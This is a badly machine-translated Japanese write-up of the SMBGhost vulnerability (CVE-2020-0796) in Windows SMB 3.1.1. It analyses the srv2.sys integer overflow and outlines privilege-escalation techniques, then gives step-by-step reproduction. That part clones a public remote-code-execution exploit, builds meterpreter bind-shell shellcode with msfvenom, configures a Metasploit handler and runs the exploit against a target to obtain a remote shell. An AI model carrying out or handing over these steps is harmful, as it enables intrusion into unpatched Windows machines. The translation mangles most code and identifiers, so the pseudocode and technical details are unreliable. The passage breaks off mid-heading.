0x00脆弱性の説明
脆弱性の発表は、SMB 3.1.1プロトコルで圧縮メッセージを処理する場合、そのデータがセキュリティチェックされていないことを示しています。直接使用すると、攻撃者がリモートで実行できるメモリの腐敗の脆弱性を引き起こします。攻撃者は、この脆弱性を使用して、許可なくリモートコードの実行を実現できます。ハッカーによって攻撃されたターゲットシステムは、オンラインでコンピューターをオンにするだけでハッキングされる場合があります。
0x01脆弱性応答バージョン
Windows 10 1903バージョン(x32ベースのシステム用)
Windows10バージョン1903(x64ベースのシステム用)
Windows10バージョン1903(ARM64ベースのシステム用)
Windows Server 1903バージョン(サーバーコアインストール)
Windows10バージョン1909(x32ベースのシステム用)
Windows10バージョン1909(x64ベースのシステム用)
Windows10バージョン1909(ARM64ベースのシステム用)
Windows Serverバージョン1909(サーバーコアインストール)
0x02脆弱性分析
脆弱性の発表は、SMB 3.1.1プロトコルで圧縮メッセージを処理する場合、そのデータがセキュリティチェックされていないことを示しています。直接使用すると、攻撃者がリモートで実行できるメモリの腐敗の脆弱性を引き起こします。攻撃者は、この脆弱性を使用して、許可なくリモートコードの実行を実現できます。ハッカーによって攻撃されたターゲットシステムは、オンラインでコンピューターをオンにするだけでハッキングされる場合があります。
1.ルール原因
脆弱性はSRV2.SYSで発生します。 SMBは圧縮されたパケットを正しく処理しないため、パケットを減圧すると、長さが合法かどうかを確認しません。最終的に、整数のオーバーフローが発生します。
2。予備分析
このエラーは、SRV2.SYS SMBサーバードライバーのSRV2DeCompressData関数の整数オーバーフローエラーです。これは機能の単純化されたバージョンであり、無関係な詳細を省略します。
typedef struct _compression_transform_header
{
ulongプロトコリッド;
ulong origional Compressedsegmentsize;
USHORT圧縮分解。
USHORTフラグ;
Ulong Offset;
} compression_transform_header、 *pcompression_transform_header;
typedef struct _allocation_header
{
//.
pvoid userbuffer;
//.
} allocation_header、 *pallocation_header;
ntstatus srv2decompressdata(pcompression_transform_header、size_t totalsize)
{
pallocation_header alloc=srvnetallocatebuffer(
(Ulong)(Header-Original CompressedSegmentsize + Header-Offset)、
null);
if(!alloc){
return status_insufficient_resources;
}
ulong finalCompressedSize=0;
ntstatus status=smbCompressionDecompress(
ヘッダー圧縮糖、
(Puchar)Header + sizeof(compression_transform_header) +ヘッダーオフセット、
(ulong)(totalsize -sizeof(compression_transform_header) - ヘッダーオフセット)、
(puchar)alloc-userbuffer +ヘッダーオフセット、
Header-Original Compressedsegmentize、
finalcompressedsize);
if(status 0 || finalCompressedSize!=header-OriginalCompressedSegmentize){
srvnetfreebuffer(alloc);
return status_bad_data;
}
if(ヘッダーオフセット0){
memcpy(
alloc-userbuffer、
(puchar)header + sizeof(compression_transform_header)、
ヘッダーオフセット);
}
srv2replacereceivebuffer(some_session_handle、alloc);
return status_success;
}
SRV2DECOMPRESSDATA関数は、クライアントから送信された圧縮メッセージを受信し、必要な量のメモリを割り当て、データを減圧します。次に、オフセットフィールドがゼロでない場合、圧縮データの前に配置されたデータを割り当てられたバッファの開始までコピーします。
よく見ると、20行目と31行がいくつかの入力に整数オーバーフローを引き起こす可能性があることがわかります。たとえば、バグがリリースされた直後に表示されるほとんどのPOCは、システムがクラッシュし、0xffffff値をオフセットフィールドとして使用します。この値を使用すると、20行目で0xffffffffが整数オーバーフローをトリガーするため、割り当てられるバイトが少なくなります。
その後、31行目で追加の整数オーバーフローをトリガーします。クラッシュは、受信したメッセージが受信されたアドレスから30行目で計算されたメモリアクセスによって引き起こされます。コードが31行目の計算を検証した場合、バッファーの長さがマイナスであり、表現できないため、非常に早期に終了します。これにより、30行目自体のアドレスが無効になります。
3.オーバーフローコンテンツを選択します
整数のオーバーフローを引き起こすように制御できる2つの関連フィールドのみがあります:元のcomponedsegmentsize and offsetなので、多くの選択肢はありません。いくつかの組み合わせを試した後、次の組み合わせが私たちを引き付けました。正当なオフセット値と巨大なオリジナルの圧縮セグメントサイズ値を送信した場合はどうなりますか?コードが実行する3つのステップを確認しましょう。
割り当て:整数のオーバーフローにより、割り当てられたバイトの数は2つのフィールドの合計よりも少なくなります。
減圧:減圧は、非常に大きな元の複雑なセグメント化値を受け取り、ターゲットバッファーを無限のサイズとして扱います。他のすべてのパラメーターは影響を受けていないため、予想どおりに実行されます。
コピー:実行する場合は、コピーが予想どおりに実行されます。
コピーステップ——を実行したいかどうかは興味深いように見えます。これは、「割り当て」フェーズで必要以上に少ないバイトを割り当てることができたため、減圧段階でバウンド外の書き込みをトリガーできるかどうかです。
ご覧のとおり、この手法を使用して、あらゆるサイズとコンテンツのオーバーフローをトリガーできます。これは素晴らしいスタートです。しかし、私たちのバッファーの外側にあるものは何ですか?答えを見つけましょう!
4。 srvnetallocatebuffer
の詳細な分析この質問に答えるには、srvnetallocatebufferの例では、割り当て関数を調べる必要があります。関数の興味深い部分は次のとおりです。
pallocation_header srvnetallocatebuffer(size_t allocsize、pallocation_header sourcebuffer)
{
//.
if(srvdisablenetbufferlookasidelist || allocsize0x100100){
if(allocsize0x1000100){
nullを返します。
}
result=srvnetallocatebufferfrompool(allocsize、allocsize);
} それ以外{
int lookasidelistindex=0;
if(allocsize0x1100){
lookasidelistindex=/* allocsize * /;
}
some_struct list=srvnetbufferlookasides [lookasidelistindex];
results=/* list from list * /;
}
//いくつかの結果フィールドを初期化.
結果を返します。
}
割り当て関数は、必要なバイト数に基づいて異なる操作を実行することがわかります。大規模な割り当て(約16MBを超える)は、実行障害を引き起こす可能性があります。中程度の割り当て(約1 MBを超える)は、SRVNETALLOCATEBUFFERFROMPOOL関数を使用して割り当てられます。小さな割り当て(残り)は、lookasideリストを使用して最適化されています。
注:関数の機能に影響を与えるSRVDISABLENETBUFFERLOOKSASIDELISTフラグもありますが、文書化されていないレジストリ設定によって設定されており、デフォルトで無効になっているため、あまり興味深いものではありません。
Lookasideリストは、ドライバー用の再利用可能な固定サイズのバッファーを効果的に保持するために使用されます。 Lookasideリストの関数の1つは、バッファーを管理するためのカスタム割り当て/リリース関数を定義することです。 srvnetbufferlookasidesアレイへの参照を見ると、srvnetcreatebufferlookasides関数で初期化されたことがわかりました。
カスタム割り当て関数は、srvnetallocatebufferfrompoolとのみを呼び出すsrvnetbufferlookasideallocateとして定義されます
9つのLookAsideリストは次のサイズで作成されます。Pythonを使用して迅速に計算します。
[範囲(9)のiのhex((1(i + 12)) + 256)]
[「0x1100」、「0x2100」、「0x4100」、「0x8100」、「0x10100」、「0x20100」、「0x40100」、「0x80100」、「0x100100」]]]]
これは、0x100100バイトを超える割り当てを割り当てる際には、lookasideリストが使用されないという私たちの発見と一致します。
結論は、各割り当て要求がsrvnetallocatebufferfrompool関数に終わるため、分析してみましょう。
6.SrvNetAllocateBufferFrompoolおよび割り当てられたバッファレイアウト
SRVNETALLOCATEBUFFERFROMPOOL関数は、ExallocatePoolWithTag関数を使用して、非PagedPoolnxプールのバッファーを割り当て、いくつかの構造をデータで埋めます。割り当てられたバッファレイアウトは次のとおりです。
私たちの研究の範囲内で、このレイアウトの唯一の関連部分は、ユーザーバッファと割り当てヘッダー構造です。ユーザーバッファーにオーバーフローすることで、最終的にAllocation_Header構造を上書きすることがすぐにわかります。便利に見えます。
7. rewrite配分ヘッダー構造
この時点で、私たちの最初のアイデアは、SMBCompressionDeCompressによる呼び出し後に確認することです。
if(status 0 || finalCompressedSize!=header-OriginalCompressedSegmentize){
srvnetfreebuffer(alloc);
return status_bad_data;
}
SRVNETFREEBUFFERが呼び出され、元の複雑なセグメント化を多数に設計するため、関数が失敗し、最終的な複雑なサイズは実際の減圧バイトの数を表す少数になります。したがって、srvnetfreebuffer関数を分析し、マジック番号の割り当てられたポインターを正常に交換し、自由な機能が無料または同様の目的で後で使用することを期待して自由関数を解放しようとするのを待ちます。しかし、驚いたことに、Memcpy関数はクラッシュしました。私たちは何も考えていないので、これは私たちを幸せにしますが、なぜこれが起こるのかを確認する必要があります。説明は、SMBCompressionDecompress関数の実装にあります。
ntstatus smbcompressiondecompress(
USHORT圧縮分解、
puchar conpressedbuffer、
Ulong非圧縮バッファイズ、
Puchar圧縮バッファー、
ulong圧縮バッファイズ、
pulong finalcompressedsize)
{
//.
ntstatus status=rtldecompressbufferex2(
.
finaluncompressedsize、
.);
if(status=0){
* finalCompressedSize=compressedBufferSize;
}
//.
戻りステータス。
}
基本的に、減圧が成功した場合、最終的なcompressedSizeが更新され、バッファのサイズであるCompressedBufferSizeの値が節約されます。この小さな詳細は、割り当てられたバッファレイアウトと相まって、このバグの非常に便利な活用を可能にするため、この小さな詳細は私たちにとって非常に疑わしいように思えます。
実行は元のデータをコピーする段階に続くので、もう一度通話を確認しましょう。
memcpy(
alloc- userbuffer、
(puchar)title+ sizeof(compression_transform_header)、
ヘッダーオフセット);
Allocation_header構造のターゲットアドレスを読み取ります。これをオーバーライドできます。バッファーの内容とサイズも私たちによって制御されます。
8。ローカルアクセス許可は強化されています
私たちはそれをどこで開発するかを書いたので、私たちはそれをどうすることができますか?システムをクラッシュできることは明らかです。リモートコードの実行をトリガーできる場合がありますが、そうする方法は見つかりませんでした。 LocalHostでこの脆弱性を使用し、追加情報をリークする場合、これはいくつかのテクニックで証明されているため、ローカルの許可の高さに使用できます。
私たちが試した最初の手法は、Morten Schenkが《Black Hat USA 2017》スピーチで提案しました。この手法では、win32の.dataセクションで関数ポインターデータベースシステムドライバーを書き換え、ユーザーモードから対応する関数を呼び出してコード実行を取得します。 J00RUは、WCTF 2018でこのテクノロジーの使用に関する素晴らしい記事を書き、脆弱性ソースコードを提供しました。 SMBメッセージを処理するスレッドがGUIスレッドではないため、脆弱性がどこにあるかを書き留めるために調整しましたが、それは機能しないことがわかりました。したがって、Win32データベースシステムにはマッピングがなく、テクノロジーは関連性がありません(GUIスレッドを作成する方法がない限り)。
最終的には、Cesarcerが紹介した有名なテクノロジーを使用しました。2012年のBlack Hat DemoでEasy Native Windows Kernel Developmentを開発しました。この手法は、ntquerysysteminformation(systemhandleinformation)APIを使用して現在のプロセストークンアドレスをリークし、そのアドレスを書き直して、許可の高さに使用できる現在のプロセストークン許可を付与することです。 Bryan Alexander(Dronesec)およびStephen Breen(Breenmachine)(2017)は、EOP研究でプロキシ許可を乱用し、さまざまなトークン特権を使用して特権を高めるいくつかの方法を示しています。
任意の書き込み操作を活用して許可記事をエスカレートするとき、Alexandre Beaulieuの共有コードに基づいて攻撃しました。プロセスのトークン特権を変更した後、dllをwinlogon.exeに注入します。 DLLの全体的な目的は、コマンドプロンプトを開始することです。私たちの完全なローカル特権エスカレーションの証明はここにあり、研究/防衛の目的でのみ使用できます。
0x03 CVE-2020-0796 RCE脆弱性の再発
1。環境準備
攻撃航空機:KAL2019 IP:192.168.1.101
ターゲットターゲットマシン:Windows10 1903 X64(プロフェッショナルバージョン、エンタープライズバージョンも可能)IP:192.168.1.103
ターゲットマシンのアドレスをダウンロードしてください:
ED2K: //|ファイル| CN_WINDOWS_10_BUSINESS_EDITIONS_VERSION_1903_X64_DVD_E001DD2C.ISO | 4815527936 | 47D4C57E638DF8BF74C59261E2CE702D |///////
2。環境要件:
(1)。 POCはあまり安定しておらず、複数のテストが必要です(リスニングポートまたはネットワークの問題で占められていると考えてください)。
(2)。 POCが失敗した場合、ターゲットシステムがシステムに含まれているDefaulterを有効にして傍受した可能性があります。
(3)。テスト中は、ファイアウォールをオフにしてソフトを殺してポート445を開くのが最善です
3。繁殖手順
(1)。POCを使用したKaliダウンロード下のClone
root@kali2019:/opt#git clone https://github.com/chompie1337/smbghost_rce_poc.git
(2)。 POCディレクトリに切り替えます
root@kali2019:/opt#cd smbghost_rce_poc/
(3)。このPOCは、Python3環境で実行する必要があります
(4)。ターゲットマシンのIPアドレスとシステムバージョンを見ることができます
(5)。 Kaliの下でリバウンドシェルコードのPythonバージョンを生成します
root@kali2019:〜#msfvenom -p windows/x64/meterpreter/bind_tcp lport=2333 -f py -o exp.py
(6)。生成されたシェルコードを見ることができます
root@kali2019:〜#cat exp.py
(7)。生成されたexp.pyコードのすべての変数BUFを変数user_payloadに置き換え、すべてのコードを貼り付け、次のコードを上書きします。
(8)。 KaliでMSFを開始し、次のように設定します
MSF5 Exploit/Multi/Handlerを使用します
MSF5 Exploit(Multi/Handler)Payload Windows/x64/meterpreter/bind_tcp #setリバウンドモードを設定します
MSF5エクスプロイト(マルチ/ハンドラー)SET RHOST 192.168.1.103#ターゲットマシンのIPアドレスをセット
MSF5 Exploit(Multi/Handler)セットLPORT 2333#リスニングポートをセットします
MSF5エクスプロイト(マルチ/ハンドラー)エクスプロイト
(9)。 POCを使用して実行すると、実行が成功していることがわかります。キーを押すと、キーを入力するのが最善です。
python3 exploit.py -ip 192.168.1.103
(10)。 MSFでは、ターゲットマシンのターゲットマシンから正常に跳ね返るシェルが確認できることがわかります。
0x04 CVE-2
Recommended Comments